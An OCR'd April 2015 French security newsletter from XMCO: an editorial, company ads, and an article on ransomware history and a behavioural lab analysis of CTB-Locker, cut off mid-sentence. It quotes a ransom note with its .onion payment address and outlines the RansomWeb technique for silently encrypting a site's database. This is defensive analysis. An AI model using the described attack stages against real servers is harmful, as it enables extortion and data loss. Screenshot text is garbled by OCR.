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AVRIL 2015
 La consolidation du marché de la sécurité |

Cela fera 15 ans cette année que le cabinet XMCO a vu le jour. Depuis plus de 20 ans, je note un intérét consensuel et indis-
cutable pour les enjeux que pose la sécurité des systémes d’information. Tout le monde est convaincu qu’il faut absolument
prendre toutes les mesures nécessaires et garantir un niveau de sécurité adéquat. L'acceptation du concept de la sécurité
est unanime. La valorisation des enjeux |'est malheureusement beaucoup moins, au détriment avant tout des entreprises,
de leurs clients et de leurs partenaires.

Etre sécurisé, ('est bien, c'est méme normal, voire un engagement non négociable de chacun. Mais, pour beaucoup de
gens, il faudrait que ca soit gratuit, ou en tout cas, « Low cost ».

Nous sommes récemment intervenus pour un client victime d’un Ransomware : il s’agit d’un virus qui chiffre les données
de la machine qu’il infecte. Pour récupérer ses données, il faut payer le pirate afin d’obtenir la clé de déchiffrement. Bien
entendu, I'utilitaire de déchiffrement livré lors du paiement de la rancon contient une ou plusieurs backdoors pour assurer
un revenu récurrent au pirate (voir notre article en page 7). Notre client nous avait donc contacté afin d’établir un diagnos-
tic, confirmer l'infection, mesurer son ampleur, et identifier les moyens pour rétablir une situation de production saine. Au
cours de la mission, lors d’'une conférence téléphonique avec plusieurs interlocuteurs du client, la question du périmetre de
notre mission a été évoquée, notamment pour cadrer le budget de notre intervention. Un des interlocuteurs a immédiate-
ment réagit : « je ne savais pas que l'intervention en urgence des experts XMCO était payante...»

Ironie de I'histoire, les équipes « Achats » de ce client nous demandent régulierement de leur communiquer nos éléments
financiers pour les rassurer sur notre rentabilité.

Pour revenir aux préoccupations de sécurité, il est vrai que la multiplication des incidents de sécurité, des attaques, la mé-
diatisation des enjeux de sécurité, méme vulgarisée sur les chaines d’information en continu, ont considérablement oeuvré
pour faire prendre conscience au grand public, et donc aux décideurs, que I'essentiel de notre vie reposait aujourd’hui sur
des systemes d’information : e-commerce, monétique, carte bancaire, téléphonie, télé-péage, télévision, etc.

Et lorsque les entreprises veulent de la sécurité, on trouve soudainement un nombre hallucinant de prestataires « ca-
pables » de répondre a cette demande grandissante : tout le monde ne parle plus que de Big Data et de sécurité. Il faut
bien que les plus gros acteurs, qui n’ont jamais traité cette question autrement que par des offres matérielles, logicielles ou
de la régie, montent des offres, prospectent tous azimuts, et profitent de cet eldorado si prometteur depuis 20 ans.

On appelle ca la consolidation du marché : lorsque de gros acteurs, qui n’ont pas réussi a construire des offres techniques
crédibles pour répondre a une demande, veulent racheter une petite entreprise, on parle poliment de consolidation.

Jusqu’a présent, nous avons pu observer une constante dans les conséquences d’un rachat d'un « petit » par un « gros » : la
grosse société s'intéresse a la PME pour le savoir-faire qu’elle a développé, sa réactivité, la confiance qu’elle a su établir
avec ses clients, la qualité de ses experts, ses processus spécifiques, son agilité, etc. Dans la foulée, aprés une période d'ob-
servation et d’intégration plus ou moins longue, I'acheteur impose a I'acheté ses normes, ses processus de recrutement, de
gestion, sa lourdeur dans la prise de décision, ses critéres et ses objectifs de rentabilité...

Il faut rarement plus de 6 mois pour que la moitié des effectifs de I'ancienne « petite boite d’experts » décampe, et que
I'autre moitié se plie aux nouvelles regles. Pour résumer, I'acheteur s’organise, plus ou moins volontairement et consciem-
ment, pour déconstruire toute la valeur ajoutée qu’il convoitait lors de son opération. Et c'est comme ca depuis 15 ans...
Mais qui sait, peut-étre qu’un jour nous aurons le plaisir d’observer des opérations de rachat bien menées, créant plus de
valeur, grace a la sacro-sainte synergie dont on parle tant.

Méme si les sollicitations sont nombreuses depuis quelques années, XMCO a décidé de continuer son aventure seule. En
effet, revendre la société qu’on a créée, qu’on a construit jour apres jour, dans laquelle des experts sont venus travailler, ap-
prendre, renforcer leurs connaissances, en faire bénéficier des clients qui nous font confiance ne s’envisage pas uniquement
comme pour changer de voiture, acheter un appartement, ou changer de tranche fiscale : c’est avant tout une question de
valeurs, que je refuse de brader.

Bonne lecture.
Marc Behar.
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Vous étes concerne :
par la sécurité informatique
de votre entreprise ?

XMCO est un cabinet de conseil dont le métier est
I’audit en sécurité informatique.

Fondé en 2002 par des experts en sécurité et dirigé par ses
fondateurs, les consultants de chez XMCO n’interviennent que
sous forme de projets forfaitaires avec engagement de résultats.
Les tests d’intrusion, les audits de sécurité, la veille en
vulnérabilité constituent les axes majeurs de développement
de notre cabinet.

XMCcO

we deliver security expertise

Parallelement, nous intervenons aupres de Directions Générales
dans le cadre de missions d'accompagnement de RSSI,
d'élaboration de schéma directeur ou encore de séminaires de
sensibilisation aupres de plusieurs grands comptes francais.

Pour contacter le cabinet XMCO et découvrir nos prestations :
http://www.xmco.fr

Test d’intrusion

Audit de Sécurité

Certification PCI DSS

Cert-XM(CO°® : Veille en vulnérabilités et
Cyber-surveillance

Cert-XMCO® : Réponse a intrusion



"l""'. Vous étes passionné par la sécurité informatique ?
+

[\ Y Nous recrutons !

Indépendamment d'une solide expérience dans la sécurité informatique, les candidats devront
faire preuve de sérieuses qualités relationnelles et d’un esprit de synthese. XMCO recherche avant
tout des consultants équilibrés, passionnés par leur métier ainsi que par bien d’autres domaines
que l'informatique.

Tous nos postes sont basés a Paris centre dans nos locaux du 2eme arrondissement.

Retrouvez toutes nos annonces a |'adresse suivante :
http://www.xmco.fr/recrutement.html

Avril 2015

Développeur (CERT-XM(O)

XMCO recrute un développeur afin de participer aux activités du CERT-XMCO.

En tant que développeur au sein du CERT-XMC(O, vous serez chargé de :

- Réaliser les développements internes liés aux projets de Cyber-surveillance ou d’extranets
Client

- Etre moteur dans la conception et I'élaboration des projets en cours de réflexion

- Participer a nos travaux de R&D

Compétences techniques requises :

- Maitrise du Python et de |la Programmation Orientée Objet

« Maitrise des environnements GNU/Linux

- Connaissances des nouvelles technologies Web (Flask/MongoDB/Boostrap/JQuery)
- Connaissances en développement sécurisé

Compétences techniques requises :

- Forte capacité d’analyse et de synthése
* Rigueur

- Curiosité

- Esprit d'initiative et esprit d’équipe

+ Autonomie

- Bonne qualité rédactionnelle

Profil Alternance (bac+4/5) / jeune diplomé disposant d'une expérience significative en
termes de développement (projet, stage...).
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Les ransomwares

> Introduction

Si I'on se réfere a une définition générique, les ransomwar-
es, francisés selon le néologisme « rancongiciels », sont des
logiciels malveillants qui prennent en otage les données
des utilisateurs (particuliers et entreprises). A travers cette
formule relativement vaqgue, il est en réalité question du
chiffrement de fichiers, de bases de données ou de disques
complets. Dans certains cas particuliers (3 linstar du
malware « POLICE »), il sagira d’une restriction d'utilisation
(blocage de certaines fonctionnalités de la machine). La fi-
nalité est de contraindre les victimes a payer une «rancon»
destinée a rétablir I'intégrité des éléments compromis.

Les ransomwares permettent ainsi a leurs créateurs de s’en-
richir par milliers, voire millions, en touchant presque tout
autant de victimes. En I'absence de données financiéres
concrétes, il est difficile d’établir avec certitude les mon-
tants exacts percus ou encore le colt de telles attaques.

Afin de mieux discerner le fonctionnement de ces logiciels,
nous allons expliquer le principe de compromission qui se
veut relativement simple :

== 1. Un utilisateur est amené a télécharger le malware
via un e-mail ou une page Web frauduleuse, a la maniere
d’une attaque d’hameconnage classique (« Drive by Down-
load »™). D'autres vecteurs sont également utilisés par les
pirates a l'instar des supports externes, des partages ré-
seaux, de I'exploitation de failles impactant les navigateurs,
des fichiers piégés, etc.

== 2. Une fois le logiciel malveillant exécuté, il chiffre tout
ou une partie des données présentes sur le disque dur de
I'utilisateur a I'aide d’un algorithme de chiffrement consi-
déré comme « robuste ».

= 3. Une fois les fichiers chiffrés, une notification (persis-
tante ou du moins incommodante) s’affiche sur I'écran de
la victime, lui demandant de payer une rancon en échange
du déchiffrement des données. 7

(XmMcol
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Drive by Download
Technique utilisée par des fraudeurs afin de « forcer »

un utilisateur a télécharger un logiciel malveillant contre
son gré. L'objectif étant d’installer automatiquement un
malware tel qu’un ransomware sur le poste de la victime
via I'exploitation automatique d’une faille de sécurité au
sein du navigateur Web utilisé.

Dans la majorité des cas, ces attaques sont réalisées a
I'aide de courriers électroniques, ou encore de sites fal-
sifiés (typosquatting, reprises de noms connus, etc.), de
fenétres intrusives, etc. Un autre scénario d'attaque clas-
sique est celui de la régie publicitaire vérolée, distribuant
de fausses annonces publicitaires redirigeant automati-
quement les internautes vers des sites malveillants.

L'algorithme de chiffrement utilisé étant en théorie irré-
versible, seule la clé de déchiffrement détenue par I'atta-
quant permettra potentiellement de restituer les données
intactes.

Plusieurs questions peuvent donc étre posées :

== Quelles sont les techniques de compromission et qui
sont les principales victimes ?

== Quels sont les fichiers principalement visés ?

== Comment s’en prémunir ?

« Peu de temps apreés avoir vu naitre les pre-
miers virus informatiques,
Joseph Popp eut l'idée de créer le premier
ransomware. Baptisé “AIDS”,
aussi connu sous le nom de
“PC Cyborg Trojan”, cette premiére version
fut développée en 1989 sous le systeme
DOS. »

Afin d’étre le plus exhaustifs possible, nous allons diviser
cet article en trois parties distinctes :

== D'une part, I'histoire et le passif des ransomwares ;

== D’autre part, I'analyse technique de CTB-Locker ;

== Enfin, nous étudierons les particularités connexes
comme les impacts sociaux et/ou psychologiques, des tra-

fics d’argent générés, pour terminer sur I'aspect juridique
entourant ces logiciels.

[XmMco)

> Histoire des ransomwares

L'étude de I'historique de ces logiciels malveillants pré-
sente un intérét certain, puisqu’elle permet de mettre en
exergue les progrés accomplis en la matiére par les pirates
et les chercheurs en sécurité.

AIDS, les débuts des ransomwares

Peu de temps aprés avoir vu naitre les premiers virus in-
formatiques, Joseph Popp eut I'idée de créer “AIDS”, aussi
connu sous le nom de “PC Cyborg Trojan”. Cette premiére
version fut développée en 1989 sous le systéme DOS.

Le fonctionnement de ce ransomware ressemble énormé-
ment 3 ce que l'on peut retrouver aujourd’hui, a la diffé-
rence pres qu'il s'agissait 1a des prémices de cette vaste
famille.

Son concept bien que rudimentaire était et est encore dia-
blement efficace : une fois téléchargé, puis exécuté 90 fois,
le logiciel affichait un message indiquant a I'utilisateur que
la licence était expirée. Le systeme devenait alors inutili-
sable en raison du chiffrement des noms de fichiers du lec-
teur C. Afin de pouvoir utiliser son ordinateur, |'utilisateur
était alors amené a verser une somme avoisinant les 1895
a la société “PC Cyborg Corporation”.

Basée sur les scénarios de prises d’otages que I'on peut
rencontrer dans leur forme primaire, I'idée de Joseph Popp
était alors de récupérer des fonds pour aider la recherche
contre le SIDA (AIDS étant I'acronyme anglais pour SIDA). Le
schéma de base bien qu'illégal partait d'un bon sentiment.
Et « malheureusement » pour lui, son malware fut analysé
et des chercheurs trouvérent des failles permettant de ré-
cupérer les données compromises.

Dear Customer:

from PC Cyborg Corporation
of

Important refere

The price of 365 The price of a 1
life of your h d i enclose
to P
lud ame ,
I ur order
Box 87-17 Panama 7, Panama.

ess ENTER to continue

Si I'on se penche sur les imperfections de AIDS, on trou-
vera en premier lieu le processus de chiffrement qui ne se
concentre pas sur le contenu méme des fichiers, mais uni-
quement sur leur dénomination. Il était alors possible de
récréer une cartographie (mapping) des noms de fichiers
selon leurs extensions et leurs arborescences, permettant a
terme de déchiffrer tous les fichiers modifiés.

La seconde erreur majeure du malware était I'utilisation
d’un systeme de chiffrement a clés symétriques faibles,
identiques pour toutes les victimes. Une fois I"algorithme et
la clé retrouvés, toutes les machines infectées purent étre
restaurées a leur état d’origine.
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Ransomware et CTB Locker

Les progres des pirates

Il aura fallu attendre 1996, soit 7 ans aprés AIDS pour voir
les techniques se peaufiner dans le domaine. Une preuve
de concept utilisant I'algorithme de chiffrement a clé pu-
blique RSA fut ainsi développée par Adam Young et Moit
Yung. Ce malware chiffrait les données avec une clé symé-
trique, elle-méme chiffrée avec la clé publique de I'atta-
quant. Des lors, seule la clé privée de celui-ci permettait de
déchiffrer I'ensemble des données.

Mais pour quelle raison les ransomwares ont-ils autant tar-
dé a se démocratiser ?

L'une des causes principales repose bien évidemment sur la
rancon. La plupart des “pirates” un tant soit peu malins sont
relativement méfiants a I'égard des solutions de tracabilité.
Il est donc légitime d'étre récalcitrant et de se poser des
questions quant aux transferts d’argent des victimes vers
les comptes destinataires.

Ces méthodes sont bien huilées et sont souvent accomplies
par des équipes, dont chacun des membres a un réle bien
défini. L'un s’occupe d’envoyer les e-mails piégés, un autre
de la partie logicielle, pendant qu’un dernier s'occupe de
gérer I'argent.

Les évolutions qui ont suivi se sont donc essentiellement
concentrées sur les méthodes de récupération de rancons
(monnaies virtuelles, etc.), plus que sur les techniques de
chiffrement a proprement parler.

En parallele, I'utilisation de clés de chiffrement de plus en
plus longues et d’algorithmes de plus en plus robustes ont
permis de renforcer davantage ces facteurs. Technique-
ment, cette évolution n’altére en rien le fonctionnement
logique mis en place dans ces logiciels ni I'organisation des
pirates.

Afin d'illustrer ces évolutions, il suffit simplement d’ob-
server les méthodes de chiffrement que n’importe quelle
entreprise utilise pour protéger I'acces a son serveur et de
comparer. Les chiffrements « modernes » tels que RSA-2048
et AES-256 sont largement utilisés dans les ransomwares
les plus récents.

Les méthodes de paiement des rancons ont également
énormément évolué au fil des années. Le dénommé «
Ransom-A » promettait ainsi qu’un fichier serait détruit
toutes les 30 minutes 3 moins qu’un paiement de 105 ne
soit effectué vers un compte de type « Western Union ». La

somme demandée était volontairement faible et I'utilisa-
teur mis sous pression afin de récupérer I'argent demandé.
Cette « pression » avait également pour objectif la cl6ture
rapide de la transaction afin de passer entre les mailles du
filet des autorités.

« Win32.Ransom » n’utilisait quant a lui aucune méthode
de chiffrement et se contentait de bloquer la connexion
internet de son hote. Il proposait alors d’envoyer un SMS
surtaxé a un numeéro spécial pour rétablir la connexion. Une
nouvelle fois, le principe se veut tres simple, mais suffi-
samment contraignant pour obliger I'utilisateur a payer.

Enfin, parmi les centaines d’exemples disponibles sur la
toile, on se souviendra d’Archiveus, un malware contrai-
gnant |'utilisateur a acheter un article sur une boutique en
ligne (au demeurant légale), en I'échange de la clé de dé-
chiffrement.

Cette méthode a le mérite d'étre originale puisqu’elle per-
met de passer par une plateforme |égale pour effectuer un
paiement. Le lien avec la boutique et le pirate n’étant pas
forcément évident a faire pour les autorités.

Ces dernieres années, les monnaies virtuelles ont connu
une véritable explosion. Cette tendance se répercute donc
sur de nombreux composants (bienveillants comme mal-
veillants). Le moyen de paiement anonyme par excellence
qu’est aujourd’hui le Bitcoin offre de nombreuses solutions
a nos « amis » les pirates. La création et le développement
important de la cryptomonnaie leur ont permis de sécuriser
et de faciliter les méthodes de paiement de la rancon. Cela
a également permis de mettre en exerque l'inefficacité
des solutions antivirales qui peinent encore et toujours a
prendre I'avantage sur les attaquants.

C'est I'une des raisons pour laquelle les ransomwares ont
désormais le vent en poupe. A I'heure ot TOR permet d’as-
surer un anonymat relatif pour héberger les fichiers et clés
de déchiffrement d’une victime, le Bitcoin compléte la
chaine de I'anonymat en permettant un paiement simple
et rapide pour I'attaquant (comme pour la victime).
Remonter jusqu’au pirate est alors un véritable casse-téte
pour les autorités. Les chances étant minimes (sans étre
nulles), les pirates sont de plus en plus nombreux a utiliser
ce systeme.

(XmMcol

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



Des menaces plus sournoises : Les RansomWeb

> INFO

Cryptowall 3.0 : le ransomware qui chiffre et vole

Parmi le trés grand nombre de ransomwares parus ces der-
nieres années, I'un d’entre eux a particulierement retenu
notre attention tant son fonctionnement peut paraitre sour-
nois et ses impacts extrémement ravageurs. La technique
encore peu utilisée pourrait bien faire des émules et se ré-
pandre a la maniere des ransomwares classiques.

A I'image de ses comparses tels que Cryptolocker (voir CXA-
2014-2590), CTB-Locker (voir CXA-2015-0468) ou encore Cryp-
toFortress (voir (XA-2015-0758), le ransomware CryptoWall fait
des ravages, touchant principalement I’ Australie.

Ce ransomware évolué, qui ne dispose d’aucun nom offi-
ciel, fait partie de la famille officieuse des « RansomWeb ».
Le principe nest plus de s'attaquer aux données d’un utili-
sateur, mais au serveur de base de données d’un site web.

Les premiéres versions de CryptoWall étaient utilisées lors de
campagnes de phishing massives (voir CXA-2014-1926). Ne
disposant ni d'interface utilisateur ni de réelle identité propre
(le malware réutilisait I'interface de Cryptolocker afin de faire
passer le message demandant une rancon a un utilisateur), le
malware passait ainsi par le réseau TOR afin de contacter son
serveur de controle et de commande (C&C) tout en gardant son

« Parmi le tres grand nombre
de ransomwares parus ces derniéres années,
I'un d’entre eux a
particulierement retenu notre attention
tant son fonctionnement

anonymat pendant le chiffrement des données.

La version 3.0 du malware est maintenant utilisée sur Internet,
offrant de nombreux changements. Elle dispose maintenant de
sa propre interface utilisateur et ne passe plus par TOR pour
effectuer le chiffrement des fichiers. Ayant remarqué que de

. - . nombreuses entreprises avaient empéché les connexions vers
peut paraitre sournois et ses impacts Tor, le malware utilise désormais des URL classiques codées en

extrémement ravageurs » dur.

Cependant, un travail particulier a été réalisé sur |'obfuscation
de ces adresses. Les techniques permettant de bloquer des
URL spécifiques étant réactives et simples a mettre en place,
les auteurs du malware jouent ainsi sur la rapidité des cher-
cheurs a désobfusquer le code permettant d’accéder aux URL.
Le temps que ce travail soit fait, elles ne seront pas bloquées et
des victimes pourront se faire piéger. A noter que le paiement
est toujours réalisé via un serveur sur le réseau Tor. C'est un
moyen de s'assurer d’obtenir de I'argent de maniére quasi in-
détectable par les autorités. Méme si I'utilisation du réseau TOR
est bloquée, une victime pourra donc toujours étre infectée et
ses données chiffrées. Elle pourra cependant toujours décider
de payer sa rancon ultérieurement par ce biais.

Les RansomWeb se veulent particulierement discrets. Le
fonctionnement est le suivant :

= Les pirates repérent une application web vulnérable et
s'introduisent discretement sur le serveur. Une backdoor
est alors utilisée par les pirates et aucun changement n’est
apercu sur le site.

= Une fois sur le serveur, ils modifient le code de I'appli-
cation utilisée ou upload leur propre outil afin de chiffrer les
données qui sont envoyées en base de données ;

La méthode d’infection du malware est habituelle. Un e-mail
contenant un document JavaScript obfusqué en piece jointe est
recue par une victime. Ce type de piece jointe étant relative-
ment peu courant, il pourrait passer a travers les mailles du
filet d'un antivirus peu performant. Le script télécharge alors
deux «images» (au format .jpg.exe) contenant en réalité du
code malveillant (cette technique permet de contourner les
solutions de type IDS). Une fois les fichiers téléchargés, une
instance d’explorer.exe est exécutée sur la machine afin de ber-
ner un éventuel antimalware. Celle-ci permet de créer d’autres
instances du programme «svchost.exe» qui vont communiquer
avec le C&C, chiffrer les fichiers de l'utilisateur avec une clé
RSA-2048 et supprimer les Volumes Shadow Copy. Une fois ces
actions effectuées, une page s'affichera sur I'écran de I'utilisa-
teur en lui indiquant le moyen de retrouver ses données a la
maniére de CryptoFortress ou CTB-Locker.

== Ils modifient la méthode de déchiffrement utilisée pour
que les données restent encore lisibles. La clé de déchiffre-
ment étant cachée sur un serveur accessible uniquement
en HTTPS ;

== Les pirates attendent quelques mois, le temps que les
sauvegardes des données chiffrées soient effectuées, et
que celles-ci remplacent les sauvegardes non chiffrées ;

= Les pirates suppriment ensuite I'emplacement de la clé
de déchiffrement du code de I'application.

Une fois la clé de déchiffrement déplacée vers un autre ser-
veur gardé secret, une erreur survient naturellement sur
I'application vulnérable de I'entreprise, révélant ainsi la su-
percherie. En effet, la clé de déchiffrement n’étant plus dis-
ponible, I'application ne peut plus déchiffrer les données,
les rendant inaccessibles en lecture pour toute I'entreprise
ainsi que ses clients.

Plus I'utilisateur attendra pour effectuer le paiement, plus la
somme sera élevée. Au bout de quelques jours, la clé de chif-
frement sera définitivement supprimée du serveur des pirates
et les données seront perdues a jamais. Profitant de la distrac-
tion de I'utilisateur, un spyware nommé FAREIT est également
exécuté sur la machine piratée. Ce dernier est alors chargé de
récupérer les mots de passe des navigateurs, client e-mail et
méme portefeuille électronique Bitcoin. Si la victime refuse de
payer, ces informations pourront ainsi étre réutilisées par les
pirates afin d'étre vendues ou réutilisées pour leur profit per-
sonnel.
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Si I'entreprise tente de remettre en place une sauvegarde,
cela ne fonctionnera pas, car les données sauvegardées
seront tout aussi impossibles a déchiffrer. Des lors, I'ap-
plication du site vulnérable est alors inutilisable et, plus
le temps passe, plus I'entreprise perd potentiellement
d’argent, ce qui la presse de payer la rancon. La société
est alors contactée par les pirates afin de payer une rancon
contre la clé permettant de déchiffrer les données.

Cette méthode aujourd’hui peu répandue nécessite des
connaissances différentes de celles propres aux ran-
somwares tels que nous les connaissons. Il est également
nécessaire de compromettre le serveur du particulier ou de
I'entreprise ciblée ; ce qui ajoute une étape supplémentaire
non négligeable. Cependant, selon les cibles choisies, les
conséquences d'une telle menace peuvent étre catastro-
phiques. Plus longtemps le malware restera caché, plus les
retombées seront problématiques pour I'entreprise ciblée.

Ransomware et CTB Locker

> Etude dynamique de (TB-Locker
(«CRITRONI »)

Afin d'illustrer la premiére partie, nous allons ici présenter
une étude partielle du ransomware dénommé CTB-Locker,
particulierement utilisé par les cybercriminels.

Si I'on s’en tient a une définition généraliste, CTB-Locker
(également connu sous les appellations « Curve » et « TOR
Bitcoin Locker ») se rapproche de Cryptolocker. A ce titre, il
chiffre les fichiers des différents volumes appartenant aux
machines qu’il infecte dans le but de demander une rancon
a la victime.

Comme I'évoque sa troisieme dénomination (TOR Bitcoin
Locker), le logiciel s’appuie sur le réseau Tor. La principale
raison d’une telle utilisation réside dans la complexification
du démantélement du serveur de controle. Remonter a ce
dernier n'est donc pas a la portée du premier utilisateur.
Des informations complémentaires sur le réseau peuvent
étre retrouvées dans le numéro #39 de I'ActuSécu « A TOR
et a travers ».

« Le principe du RansomWeb n’est plus
de s’attaquer aux données
d’un utilisateur, mais au serveur de base de
données d’un site web »

Penchons-nous plus en détail sur ce ransomware. L'échan-
tillon étudié dans cet article est la version francaise (au de-
meurant multilingue) dite « CRITRONI » (amélioration du
(TB-Locker initial). L'approche que nous établissons se veut
« naive ». Par cette expression nous signifions qu'il s'aqit la
d’une étude comportementale du malware (approche dy-
namique) et non d’une analyse compléte (reverse + cryp-
tographie ; des compléments d’information sont cependant
apportés pour combler ces points).

Notre laboratoire destiné a examiner cet échantillon est
composé des éléments suivants :

== Une machine virtuelle sous Windows Seven a jour, MAIS
non sécurisée pour les besoins des tests (firewall, UAC, anti-
virus, etc. ont été amoindris voire désactivés) ;

== Une machine d’analyse disposant d’outils relativement
connus (Cuckoo, WireShark, etc.).

(XmMcol
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Ransomware et CTB Locker

Les vecteurs de compromission sont multiples : télécharge-
ments, récupération de piéces jointes malveillantes (.zip,
.cab, .scr, etc.), transmission via des supports amovibles,
etc.

Les captures qui suivent ont été réalisées a partir de dif-
férents « Snapshots », des incohérences ou discordances
peuvent donc étre observées sur les compteurs des cap-
tures réalisées, les URLS ou les clés utilisées.

Scénario d’exécution

Dans le cas présent, le lancement du fichier exécutable
malveillant sur notre machine Windows permet de déclen-
cher « I'infection ». A premiére vue rien ne se passe, aucun
élément visuel ou sonore notoire ne signalant une quel-
conque menace apparait.

En attendant quelques secondes (voire minutes selon les
tests réalisés), un changement de fond d’écran s’opere (fi-
chier bmp) et une fenétre s’ouvre au premier plan :

Vos documents, vos photos, vos données et d’autres dossiers importants ont été encryptés avec un
encodage plus fort et une clé unique, générés par cet ordinateur.

pour décrypter est gardé dans un serveur d'Internet secret et personne ne peut
dossiers jusqu‘a ce que vous payez et obteniez la clé privée.
Si vous voyez la fenétre-ca: il semble
que vous ou votre antivirus
opportunité de décrypter w

le, suivez les instructions sur le casier. Autre:
rogramme casier. Maintenant, vous avez la de

Ouvrez http:/ / kph3onblkthy4z37.onion.cab ou http:/ /kph3onblkthy4z37 .tor2web.org dans votre
navigateur. Ils sont des portails publi ars le serveur secret.

Si vous avez des problémes avec les portails, utilisez une connexion directe:

1. Téléchargez le Navigateur Tor http:/ /torproject.org/

2. Sur le navigateur Tor, ouvrez http:/ / kph3onblkthy4z37.onion/

Notez que ce serveur n'est que disponible a travers du navigateur Tor. Réessayez dans une heure si
le site n’est pas a ble.

[ sur la prochaine clé publique sous la form

Suivez les instructions sur le serveur.

Changement de fond d’écran

Message extrait :

Vos dossiers personnels sont encryptés par le CTB-Locker.

Vos documents, vos photos, vos données et d'autres dossiers
importants ont été encryptés avec un encodage fort et une clé
unique, générés par cet ordinateur.

La clé privée pour décrypter est gardé dans un serveur d'Inter-

net secret et personne ne peut décrypter vos dossiers jusqu’a
ce que vous payez et obteniez la clé privée.

[XmMco)

Si vous voyez la fenétre-casier principale, suivez les instruc-
tions sur le casier. Autrement, il semble que vous ou votre
antivirus élimine le programme casier. Maintenant, vous avec
la derniére opportunité de décrypter vos dossiers.

Le message se veut relativement clair, néanmoins quelques
approximations peuvent étre observées :

== la présence de fautes dans le texte ;

== une forte intuition de traduction made in « Google Tra-
duction ».

On retrouve également :

== des adresses pour accéder aux portails en .onion (réseau
Tor) ;

== une clé publique.

En parallele de cet avertissement, un ensemble d’instruc-
tions est affiché sur le Bureau de I'utilisateur afin de re-
mettre dans les plus brefs délai la fameuse rancon :

MO LLEEEEEEELEELLEEELEELEELLE L LEEEEELEEELEELEELLE,

Vos documents, vos photos, vos données et d’autres dossiers importants ont ét€ encryptés avec un
encodage plus fort et une clé unique, générés par cet ordinateur.

La clé privée pour décrypter est gardé dans un serveur d'Internet secret et personne ne peut
décrypter vos dossiers jusqu'a ce que vous payez et obteniez la clé privée.

Vous n'avez que 96 heures pour envoyer le paiement. Si vous n'envoyez pas I'argent dans le temps.
limite, tous vos dossiers resteront encryptés pour de bon et personne ne sera capable de les
récupérer.

Appuyez sur 'Vue’ pour visionner la liste de dossiers qui ont été encryptés.

Appuyez sur 'Suivant' pour passer & la page suivante.
.
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Rappel du message principal + Alerte

Chose intéressante, le message d’alerte stipule que I'utili-
sation de solutions de nettoyage engendrera la perte défi-
nitive des données. L'intention est clairement de jouer sur
la peur de l'utilisateur et de le forcer a payer plutét que
de chercher d’éventuelles solutions. Dou la présence du
compte a rebours situé en bas de la fenétre.

Cette caractéristique entre pleinement dans le comporte-
ment classique des ransomwares.
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Notons également la présence en haut de l'interface de dif-
férentes langues :

o= allemand ;

= anglais (US) ;

o= danois ;

== espagnol ;

o= francais ;

== hollandais ;

== italien.

Le panel de cibles se veut donc relativement large et tres
occidental. Une déduction trop hative pourrait déja définir
la source comme étant chinoise ou russe, mais ne som-

brons pas dans les clichés, sachant que les premiéres cibles
semblaient étre russes...

« L'intention est clairement de jouer sur la
peur de l'utilisateur
et de le forcer a payer plutot
que de chercher d’éventuelles solutions »

Voici un apercu des modifications sur le dossier « Images »
de Windows :

EE=
res £

s » Pictures » Sample Pctures To][s

T Open v Sharewith v Print  Newfolder =2+ 0 e

Pictures library

Armangeby: Folder ~
Sample Pictures ge by

— o .'! e
"I XMCO.5¢ - Notepad =E=]

File Edit Format View Help
Fichier TxT...

8 Computer Do
& Local Disk (C)

G Network

Avant chiffrement

O ) ~I + i + P » Samplericrs

= Owsnize v [|Open v Sharewith v Newfolder

Pictures library

Sample Pictures

Chryssnthemum,  Desert PGalpwg  Hydrangess PG, Jelyfish PGalpw  Koals PGalpwg  Lighthouse PG Penguins PG.alp  Tulps PG.lpwg
JPG.alpwget of alpwgef apf of Ipwgpt wot of

| XMCOTXT.qlpwgpf - Notepad =alEs
File Edt Format View Help

Da ®a0.A: OV 6-3<dzz rP1, (> ~PALC50AR 008A-Vilig™ 1 AF SZTAALLIT - | aUT v AyKO=A

1 Computer
& Local Disk ()

XMCOTXT.qlpw
pf

G Network

Aprés chiffrement

Poursuivons le déroulement du scénario, le bouton « Vue »
va permettre de lister 'ensemble des fichiers chiffrés. Il est
difficile d’établir de maniére exhaustive les extensions ci-
blées par CRITRONI. Nos tests permettent d’observer que
ces dernieres sont touchées : doc/docx, xsl/xslx, ppt/pptx,

txt, jpg, png, py, gif, pdf, pem, md, js, java, zip, odt et déri-
vés, pem, rar, etc.
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Suivez les instructions sur le serveur.

Ces instructions sont aussi gardées dans un dossier appelé Decrypt-All-Files.txt dans le dossier
Documents. Vous pouvez l'ouvrir et utiliser le copié-collé pour les adresses et la clé.

Listing des fichiers chiffrés

Chaque fichier va donc se retrouver chiffré et suffixé d’une
extension aléatoire. Essayer de supprimer cette extension,
de renommer le fichier ou méme d’accéder au contenu ne
retournera aucun résultat concluant.

Dans I'optique d’attester de sa bonne foi, CRITRONI propose
a I'étape suivante de déchiffrer 5 fichiers (non sélection-
nables par I'utilisateur) avec ou sans connexion. Cela per-
met de déduire que des clés sont conservées en mémoire
afin de réaliser 'opération de déchiffrement.

SIS TITIIIIIIIIIIIIIIIIIIIIIIFIIIIIIIFIIIIIIIIII IS

Pour vous assurez que le décryptage est possible, il vous sera permis de décrypter gratuitement
jusqua 5 dossiers au hasard.

Appuyez sur 'Chercher'. Le programme fera un scanner de vos disques et décryptera plusieurs
dossiers.

Appuyez sur *Suivant’ pour connecter avec le serveur secret et décrypter les dossiers.

Appuyez sur 'Retourner” pour revenir a la premiere page.

ST 95 47 24

ISP TIII IS ITII SIS IIII SIS I I IS SIS T IIIII I T IIII SIS T IS IS SIS T IS SIS IS T FI SIS S TP I SIS 7,

AT T TR RN,
B I I I I I T I I T T TR R R

Proposition de déchiffrement 1
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I

N N C U R RN

Les dossiers suivants sont choisis pour le décryptage gratuit:

Ne renommez ni &l
d'autres.

2 aucun dossier. Seulement les dossiers choisis seront décryptés et rien

Appuyez sur 'Décrypter’ pour les décrypter.
Appuyez sur ‘Suivant’ pour connecter avec le serveur secret et décrypter les dossiers.
Appuyez sur 'Retourner’ pour revenir a la premiére page.
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Proposition de déchiffrement 2
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PIIIIIIIIIIIIIIIIIIIIITIIIITIIIIIII I FIIIIFIIITIII TSI I I FIITIFFIII I I I II TIPS,

Les dossiers suivants sont décryptés:

unctions.PY

Appuyez sur "Suivant’ pour connecter avec le serveur secret et décrypter les dossiers.

Appuyez sur "Retourner’ pour revenir 3 la premiare page.

95:46:43

SIIIII I SIS IS I III I II SIS I IS IS IRI SIS EIIIIE IS S SIS S IS I IS SIS I SIS S I IS SIS S5 5555 5F

Résultat déchiffrement

AL L LR R R RGNS,

Il n’est malheureusement pas possible pour I'utilisateur
